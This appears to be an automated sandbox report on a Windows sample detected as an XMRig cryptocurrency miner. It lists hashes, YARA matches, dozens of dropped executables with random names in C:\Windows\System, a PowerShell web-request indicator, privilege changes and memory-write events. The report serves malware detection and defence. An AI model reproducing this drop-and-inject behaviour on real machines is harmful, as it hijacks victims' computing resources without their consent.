xmrig | 7d168ec84ce266be7f859891c04127175c4ec7535c543cb7d997daa56e934676

Analysis

max time kernel
150s
max time network
147s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
13-06-2024 22:58

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
Size

3.0MB
MD5

8e01d4a461f9c05d995ed558788123b0
SHA1

0f307632029095004be00f5ff95ce591c0aaeddf
SHA256

7d168ec84ce266be7f859891c04127175c4ec7535c543cb7d997daa56e934676
SHA512

e6c5232b55abeac8133e2e3d45b44705351af719fe45c13300e6fd9d66feb0f6a05d3158eb6ce510de41fa695dd6f531de95134bf5d4a489f5f6e488680741b6
SSDEEP

49152:71G1NtyBwTI3ySZbrkXV1etEKLlWUTOfeiRA2R76zHrWax9hMkHC0IlnASEx/Rkd:71ONtyBeSFkXV1etEKLlWUTOfeiRA2RR

Score

10^/10

xmrig execution miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 50 IoCs

miner

resource	yara_rule
behavioral1/memory/3048-0-0x000000013F640000-0x000000013FA36000-memory.dmp	xmrig
behavioral1/files/0x000b00000001424e-3.dat	xmrig
behavioral1/files/0x00320000000144e4-17.dat	xmrig
behavioral1/files/0x000700000001471d-19.dat	xmrig
behavioral1/files/0x0007000000004e76-32.dat	xmrig
behavioral1/files/0x0006000000015cd5-69.dat	xmrig
behavioral1/files/0x0006000000015d67-109.dat	xmrig
behavioral1/files/0x0006000000015d6f-114.dat	xmrig
behavioral1/files/0x0006000000015d79-119.dat	xmrig
behavioral1/files/0x0006000000015d8f-129.dat	xmrig
behavioral1/files/0x0006000000015eaf-167.dat	xmrig
behavioral1/files/0x00060000000161e7-193.dat	xmrig
behavioral1/files/0x0006000000015fe9-190.dat	xmrig
behavioral1/files/0x0006000000016117-184.dat	xmrig
behavioral1/memory/2868-169-0x000000013FB60000-0x000000013FF56000-memory.dmp	xmrig
behavioral1/files/0x0006000000015f6d-176.dat	xmrig
behavioral1/memory/2536-166-0x000000013F500000-0x000000013F8F6000-memory.dmp	xmrig
behavioral1/memory/3020-164-0x000000013FF90000-0x0000000140386000-memory.dmp	xmrig
behavioral1/memory/2976-161-0x000000013FA50000-0x000000013FE46000-memory.dmp	xmrig
behavioral1/memory/2736-153-0x000000013FC40000-0x0000000140036000-memory.dmp	xmrig
behavioral1/memory/2460-159-0x000000013F770000-0x000000013FB66000-memory.dmp	xmrig
behavioral1/memory/2684-151-0x000000013F840000-0x000000013FC36000-memory.dmp	xmrig
behavioral1/files/0x0006000000015e3a-157.dat	xmrig
behavioral1/memory/2588-149-0x000000013FF60000-0x0000000140356000-memory.dmp	xmrig
behavioral1/memory/2452-148-0x000000013F440000-0x000000013F836000-memory.dmp	xmrig
behavioral1/memory/2748-146-0x000000013FAC0000-0x000000013FEB6000-memory.dmp	xmrig
behavioral1/files/0x00320000000144f0-143.dat	xmrig
behavioral1/files/0x0006000000015d9b-137.dat	xmrig
behavioral1/files/0x0006000000015d87-124.dat	xmrig
behavioral1/files/0x0006000000015d5e-104.dat	xmrig
behavioral1/files/0x0006000000015d56-99.dat	xmrig
behavioral1/files/0x0006000000015d4a-94.dat	xmrig
behavioral1/files/0x0006000000015d28-89.dat	xmrig
behavioral1/files/0x0006000000015d07-84.dat	xmrig
behavioral1/files/0x0006000000015ceb-79.dat	xmrig
behavioral1/files/0x0006000000015ce1-74.dat	xmrig
behavioral1/files/0x0006000000015cba-64.dat	xmrig
behavioral1/files/0x0006000000015ca6-59.dat	xmrig
behavioral1/files/0x0006000000015be6-50.dat	xmrig
behavioral1/files/0x000700000001568c-46.dat	xmrig
behavioral1/memory/3048-37-0x000000013FAC0000-0x000000013FEB6000-memory.dmp	xmrig
behavioral1/memory/1128-36-0x000000013F050000-0x000000013F446000-memory.dmp	xmrig
behavioral1/files/0x000a000000014971-42.dat	xmrig
behavioral1/files/0x0007000000014726-30.dat	xmrig
behavioral1/memory/2348-28-0x000000013FB90000-0x000000013FF86000-memory.dmp	xmrig
behavioral1/files/0x00080000000146e6-15.dat	xmrig
behavioral1/memory/3048-2858-0x000000013F640000-0x000000013FA36000-memory.dmp	xmrig
behavioral1/memory/2460-4102-0x000000013F770000-0x000000013FB66000-memory.dmp	xmrig
behavioral1/memory/2748-4091-0x000000013FAC0000-0x000000013FEB6000-memory.dmp	xmrig
behavioral1/memory/2588-4087-0x000000013FF60000-0x0000000140356000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
1736	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
2348	FsnCVTF.exe
2536	WYOODpb.exe
1128	SRAPGRc.exe
2868	NwtyMwO.exe
2748	QwnqsQE.exe
2452	YNaJuIB.exe
2588	bKDJJpo.exe
2684	GOflsXN.exe
2736	ltWLPct.exe
2460	CUsEICd.exe
2976	RjYbNQY.exe
3020	xRpPalf.exe
2312	vCoOhRu.exe
2516	qlreKmj.exe
2836	qfUQvwl.exe
2816	BCBoxVC.exe
888	bVlSTVb.exe
2952	WTPnYDi.exe
1836	wCGcdaR.exe
2400	bfqSfLt.exe
1956	dfyVUtL.exe
1740	gjvXOwK.exe
1580	JOWyniJ.exe
2980	rytfPgu.exe
2884	dNkbFPt.exe
2888	BkZKQGc.exe
1104	eafncJt.exe
816	YEAGdpT.exe
1772	VnqnzTi.exe
1088	CqXOGbj.exe
1012	NUJOfGN.exe
2252	SfmYYxv.exe
672	mrrHwko.exe
1548	lsYmoBL.exe
1324	XVPrtGy.exe
936	TOompWy.exe
1604	ujwzQyx.exe
2872	ixiBtwR.exe
908	FzMBVIa.exe
400	guEdxzA.exe
2156	IHSoPuI.exe
1944	mkzeAMO.exe
1748	dfBYIyV.exe
1516	zlibyTB.exe
2344	zcTdZrE.exe
3060	JOzqxtW.exe
3044	mZINJbo.exe
1964	zWLduuZ.exe
1728	PQuLrCg.exe
1568	WbFMJFP.exe
1596	HIXhcWW.exe
2160	dNaXuTi.exe
2568	ZPIgNxF.exe
2580	COUXnjo.exe
2692	LssuOPu.exe
2428	POchDRr.exe
2424	LhCWiEO.exe
2456	vsTtQhI.exe
2024	fmvJucR.exe
2628	ZmjkqbQ.exe
2636	mqzOTWF.exe
1904	VCiqZKk.exe
1200	OftbdaE.exe
1776	njUfbMl.exe

Loads dropped DLL 64 IoCs

pid	Process
3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe

UPX packed file 49 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/3048-0-0x000000013F640000-0x000000013FA36000-memory.dmp	upx
behavioral1/files/0x000b00000001424e-3.dat	upx
behavioral1/files/0x00320000000144e4-17.dat	upx
behavioral1/files/0x000700000001471d-19.dat	upx
behavioral1/files/0x0007000000004e76-32.dat	upx
behavioral1/files/0x0006000000015cd5-69.dat	upx
behavioral1/files/0x0006000000015d67-109.dat	upx
behavioral1/files/0x0006000000015d6f-114.dat	upx
behavioral1/files/0x0006000000015d79-119.dat	upx
behavioral1/files/0x0006000000015d8f-129.dat	upx
behavioral1/files/0x0006000000015eaf-167.dat	upx
behavioral1/files/0x00060000000161e7-193.dat	upx
behavioral1/files/0x0006000000015fe9-190.dat	upx
behavioral1/files/0x0006000000016117-184.dat	upx
behavioral1/memory/2868-169-0x000000013FB60000-0x000000013FF56000-memory.dmp	upx
behavioral1/files/0x0006000000015f6d-176.dat	upx
behavioral1/memory/2536-166-0x000000013F500000-0x000000013F8F6000-memory.dmp	upx
behavioral1/memory/3020-164-0x000000013FF90000-0x0000000140386000-memory.dmp	upx
behavioral1/memory/2976-161-0x000000013FA50000-0x000000013FE46000-memory.dmp	upx
behavioral1/memory/2736-153-0x000000013FC40000-0x0000000140036000-memory.dmp	upx
behavioral1/memory/2460-159-0x000000013F770000-0x000000013FB66000-memory.dmp	upx
behavioral1/memory/2684-151-0x000000013F840000-0x000000013FC36000-memory.dmp	upx
behavioral1/files/0x0006000000015e3a-157.dat	upx
behavioral1/memory/2588-149-0x000000013FF60000-0x0000000140356000-memory.dmp	upx
behavioral1/memory/2452-148-0x000000013F440000-0x000000013F836000-memory.dmp	upx
behavioral1/memory/2748-146-0x000000013FAC0000-0x000000013FEB6000-memory.dmp	upx
behavioral1/files/0x00320000000144f0-143.dat	upx
behavioral1/files/0x0006000000015d9b-137.dat	upx
behavioral1/files/0x0006000000015d87-124.dat	upx
behavioral1/files/0x0006000000015d5e-104.dat	upx
behavioral1/files/0x0006000000015d56-99.dat	upx
behavioral1/files/0x0006000000015d4a-94.dat	upx
behavioral1/files/0x0006000000015d28-89.dat	upx
behavioral1/files/0x0006000000015d07-84.dat	upx
behavioral1/files/0x0006000000015ceb-79.dat	upx
behavioral1/files/0x0006000000015ce1-74.dat	upx
behavioral1/files/0x0006000000015cba-64.dat	upx
behavioral1/files/0x0006000000015ca6-59.dat	upx
behavioral1/files/0x0006000000015be6-50.dat	upx
behavioral1/files/0x000700000001568c-46.dat	upx
behavioral1/memory/1128-36-0x000000013F050000-0x000000013F446000-memory.dmp	upx
behavioral1/files/0x000a000000014971-42.dat	upx
behavioral1/files/0x0007000000014726-30.dat	upx
behavioral1/memory/2348-28-0x000000013FB90000-0x000000013FF86000-memory.dmp	upx
behavioral1/files/0x00080000000146e6-15.dat	upx
behavioral1/memory/3048-2858-0x000000013F640000-0x000000013FA36000-memory.dmp	upx
behavioral1/memory/2460-4102-0x000000013F770000-0x000000013FB66000-memory.dmp	upx
behavioral1/memory/2748-4091-0x000000013FAC0000-0x000000013FEB6000-memory.dmp	upx
behavioral1/memory/2588-4087-0x000000013FF60000-0x0000000140356000-memory.dmp	upx

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\CcMZJMv.exe	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
File created	C:\Windows\System\MjUMtoR.exe	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
File created	C:\Windows\System\wnNBjUV.exe	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
File created	C:\Windows\System\GGvpqee.exe	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
File created	C:\Windows\System\LkHjBKr.exe	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
File created	C:\Windows\System\nIRQYbS.exe	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
File created	C:\Windows\System\sKLzqXi.exe	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
File created	C:\Windows\System\DmSTkeW.exe	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
File created	C:\Windows\System\ADKlXBb.exe	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
File created	C:\Windows\System\rfFiDYu.exe	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
File created	C:\Windows\System\ZMgMNfd.exe	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
File created	C:\Windows\System\AnWxyWf.exe	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
File created	C:\Windows\System\EfhIOFp.exe	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
File created	C:\Windows\System\GxyWmsE.exe	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
File created	C:\Windows\System\CZsgUAE.exe	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
File created	C:\Windows\System\mSQoRMu.exe	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
File created	C:\Windows\System\WZosOiQ.exe	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
File created	C:\Windows\System\HmJDbiJ.exe	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
File created	C:\Windows\System\rtIJYDH.exe	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
File created	C:\Windows\System\JSSTFhB.exe	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
File created	C:\Windows\System\XhcIMoi.exe	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
File created	C:\Windows\System\fFLLviq.exe	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
File created	C:\Windows\System\MRFQSBR.exe	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
File created	C:\Windows\System\AUzCfkL.exe	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
File created	C:\Windows\System\IQKGlyg.exe	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
File created	C:\Windows\System\EfhWtHz.exe	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
File created	C:\Windows\System\QwnqsQE.exe	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
File created	C:\Windows\System\VPnMBGD.exe	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
File created	C:\Windows\System\QjgIosA.exe	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
File created	C:\Windows\System\ygvynvb.exe	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
File created	C:\Windows\System\jgcBcUt.exe	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
File created	C:\Windows\System\LkdeGpM.exe	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
File created	C:\Windows\System\bZmjWbO.exe	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
File created	C:\Windows\System\cWXslzC.exe	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
File created	C:\Windows\System\FmdLfrF.exe	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
File created	C:\Windows\System\prndpAx.exe	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
File created	C:\Windows\System\MnFSRjO.exe	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
File created	C:\Windows\System\qyWLHSX.exe	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
File created	C:\Windows\System\EvuJptj.exe	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
File created	C:\Windows\System\ruYPPwV.exe	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
File created	C:\Windows\System\WPOSzBq.exe	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
File created	C:\Windows\System\xyDrhti.exe	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
File created	C:\Windows\System\MgbaJeQ.exe	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
File created	C:\Windows\System\mCgxVnh.exe	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
File created	C:\Windows\System\luRvpCU.exe	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
File created	C:\Windows\System\kkEbWsV.exe	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
File created	C:\Windows\System\qwvnYbf.exe	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
File created	C:\Windows\System\KzCXZQJ.exe	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
File created	C:\Windows\System\tNZHNrr.exe	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
File created	C:\Windows\System\WXTiTyl.exe	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
File created	C:\Windows\System\KhtgffH.exe	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
File created	C:\Windows\System\BzwqqWb.exe	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
File created	C:\Windows\System\nQdsDls.exe	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
File created	C:\Windows\System\rytfPgu.exe	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
File created	C:\Windows\System\lZmPluX.exe	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
File created	C:\Windows\System\vatRjNN.exe	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
File created	C:\Windows\System\DWslVRC.exe	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
File created	C:\Windows\System\IockIpF.exe	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
File created	C:\Windows\System\gORxxhk.exe	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
File created	C:\Windows\System\ZrgKWnB.exe	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
File created	C:\Windows\System\LNsVmZB.exe	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
File created	C:\Windows\System\kvKKpBO.exe	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
File created	C:\Windows\System\QaSbAVE.exe	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
File created	C:\Windows\System\zZySUTL.exe	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1736	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
Token: SeDebugPrivilege	1736	powershell.exe
Token: SeLockMemoryPrivilege	3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3048 wrote to memory of 1736	3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe	29
PID 3048 wrote to memory of 1736	3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe	29
PID 3048 wrote to memory of 1736	3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe	29
PID 3048 wrote to memory of 2348	3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe	30
PID 3048 wrote to memory of 2348	3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe	30
PID 3048 wrote to memory of 2348	3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe	30
PID 3048 wrote to memory of 1128	3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe	31
PID 3048 wrote to memory of 1128	3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe	31
PID 3048 wrote to memory of 1128	3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe	31
PID 3048 wrote to memory of 2536	3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe	32
PID 3048 wrote to memory of 2536	3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe	32
PID 3048 wrote to memory of 2536	3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe	32
PID 3048 wrote to memory of 2748	3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe	33
PID 3048 wrote to memory of 2748	3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe	33
PID 3048 wrote to memory of 2748	3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe	33
PID 3048 wrote to memory of 2868	3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe	34
PID 3048 wrote to memory of 2868	3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe	34
PID 3048 wrote to memory of 2868	3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe	34
PID 3048 wrote to memory of 2588	3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe	35
PID 3048 wrote to memory of 2588	3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe	35
PID 3048 wrote to memory of 2588	3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe	35
PID 3048 wrote to memory of 2452	3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe	36
PID 3048 wrote to memory of 2452	3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe	36
PID 3048 wrote to memory of 2452	3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe	36
PID 3048 wrote to memory of 2684	3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe	37
PID 3048 wrote to memory of 2684	3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe	37
PID 3048 wrote to memory of 2684	3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe	37
PID 3048 wrote to memory of 2736	3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe	38
PID 3048 wrote to memory of 2736	3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe	38
PID 3048 wrote to memory of 2736	3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe	38
PID 3048 wrote to memory of 2460	3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe	39
PID 3048 wrote to memory of 2460	3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe	39
PID 3048 wrote to memory of 2460	3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe	39
PID 3048 wrote to memory of 2976	3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe	40
PID 3048 wrote to memory of 2976	3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe	40
PID 3048 wrote to memory of 2976	3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe	40
PID 3048 wrote to memory of 3020	3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe	41
PID 3048 wrote to memory of 3020	3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe	41
PID 3048 wrote to memory of 3020	3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe	41
PID 3048 wrote to memory of 2312	3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe	42
PID 3048 wrote to memory of 2312	3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe	42
PID 3048 wrote to memory of 2312	3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe	42
PID 3048 wrote to memory of 2516	3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe	43
PID 3048 wrote to memory of 2516	3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe	43
PID 3048 wrote to memory of 2516	3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe	43
PID 3048 wrote to memory of 2836	3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe	44
PID 3048 wrote to memory of 2836	3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe	44
PID 3048 wrote to memory of 2836	3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe	44
PID 3048 wrote to memory of 2816	3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe	45
PID 3048 wrote to memory of 2816	3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe	45
PID 3048 wrote to memory of 2816	3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe	45
PID 3048 wrote to memory of 888	3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe	46
PID 3048 wrote to memory of 888	3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe	46
PID 3048 wrote to memory of 888	3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe	46
PID 3048 wrote to memory of 2952	3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe	47
PID 3048 wrote to memory of 2952	3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe	47
PID 3048 wrote to memory of 2952	3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe	47
PID 3048 wrote to memory of 1836	3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe	48
PID 3048 wrote to memory of 1836	3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe	48
PID 3048 wrote to memory of 1836	3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe	48
PID 3048 wrote to memory of 2400	3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe	49
PID 3048 wrote to memory of 2400	3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe	49
PID 3048 wrote to memory of 2400	3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe	49
PID 3048 wrote to memory of 1956	3048	8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe	50

C:\Users\Admin\AppData\Local\Temp\8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe
"C:\Users\Admin\AppData\Local\Temp\8e01d4a461f9c05d995ed558788123b0_NeikiAnalytics.exe"
1⤵
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
